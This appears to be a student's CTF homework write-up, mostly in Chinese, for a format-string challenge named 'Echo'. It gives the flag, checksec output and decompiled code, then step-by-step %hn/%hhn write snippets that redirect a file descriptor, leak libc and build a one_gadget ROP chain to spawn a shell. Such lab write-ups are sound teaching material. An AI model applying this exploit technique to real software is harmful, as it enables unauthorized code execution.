CTF Hw5 writeup

> b05902127 劉俊緯, user ID: a127000555

Echo

> FLAG{J0hn_cena:Y0u_c4n't_see_m3_!!!!!!!}

Checksec

```
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : FULL
```

- 無法GOT hijacking (Full RELRO).
- 無法直接寫shell code (NX).

IDA

- 得知架構，是用dprintf做事情。

```
int sub_400783()
{
  ssize_t v0; // rax@2

  while ( 1 )
  {
    v0 = read(0, buf, 0x30uLL);
    if ( v0 <= 0 )
      break;
    LODWORD(v0) = strncmp(buf, "exit", 4uLL);
    if ( !(_DWORD)v0 )
      break;
    sub_400763();
  }
  return v0;
}
```

- 得知dprintf的 fd會先到2 (stderr)

```
int sub_400763()
{
  return dprintf(fd, buf);
}
```

```
.data:0000000000601010 ; int fd
.data:0000000000601010 fd              dd 2                    ; DATA XREF: sub_400763+4↑r
```

Find Return Address

- 在gdb執行後打入exit，在exit外面breakpoint。
- finish後ni到ret，觀察ret的值。
- 觀察得知它是在dprintf時的%8$p。

Change stderr to stdout

- 這是一個線性的坑，就把.data區段的fd改成1就好了。
- 由上面IDA得知fd在0x601010
- 因為stderr通常會導到/dev/null，所以直接在%7$p的值(%9$p)寫成0x601010
- 在%9$p的值(%9$hhn)寫成1，這樣子0x601010就可以被overwrite成1，此時才可以leak information。

Outer information

- one_gadget 選用 0x4f2c5, 條件為 rcx = 0
- ROPgadget 選用 0x03eb0b `pop rcx; ret` 。
- libc_offset = 0x21ab0, by `readelf -a lab-1.so | grep start`

Leak information

- libc_base: 在%10$p 為 <__libc_start_main+231>, 所以libc_base = %10$p - 0x21ab0 - 231 。
- target ret address: 藉由%7$p的值的位置(%9) -8 得 %8$p的位置。
- rbp-chain: %5$p 的位置會指到%7$p

ROP chain

%6$p	%7$p	%8$p
pop rci - gadget	0	one-gadget

write pop rci gadget

```
b = %8$p的位置。
fmt( '%{}c%5$hhn'.format( b ) )
fmt( '%{}c%7$hn'.format( get( pop_rcx, 1 ) ) )
fmt( '%{}c%5$hhn'.format( b+2 ) )
fmt( '%{}c%7$hn'.format( get( pop_rcx, 2 ) ) )
fmt( '%{}c%5$hhn'.format( b+4 ) )
fmt( '%{}c%7$hnZZ3'.format( get( pop_rcx, 3 ) ) )
```

- 控制5的尾數，寫完整個7。

write one_gadget

```
b +16 = %8$p 的位置。
fmt( '%{}c%5$hhn'.format( b+16 ) )
fmt( '%{}c%7$hn'.format( get( one_gadget, 1 ) ) )
fmt( '%{}c%5$hhn'.format( b+16+2 ) )
fmt( '%{}c%7$hn'.format( get( one_gadget, 2 ) ) )
fmt( '%{}c%5$hhn'.format( b+16+4 ) )
fmt( '%{}c%7$hn'.format( get( one_gadget, 3 ) ) )
```

write zero

- 很單純那樣。

```
b + 8 是 %7$p的位置
fmt( '%{}c%5$hhn'.format( b+8 ) )
fmt( '%7$n'.ljust(0x30) )
```

- 需要rjust是因為buffer並沒有清空，避免有其他詭異的事情發生，用空白來填補一下。

Finish

- 輸出exit，就可以get shell了。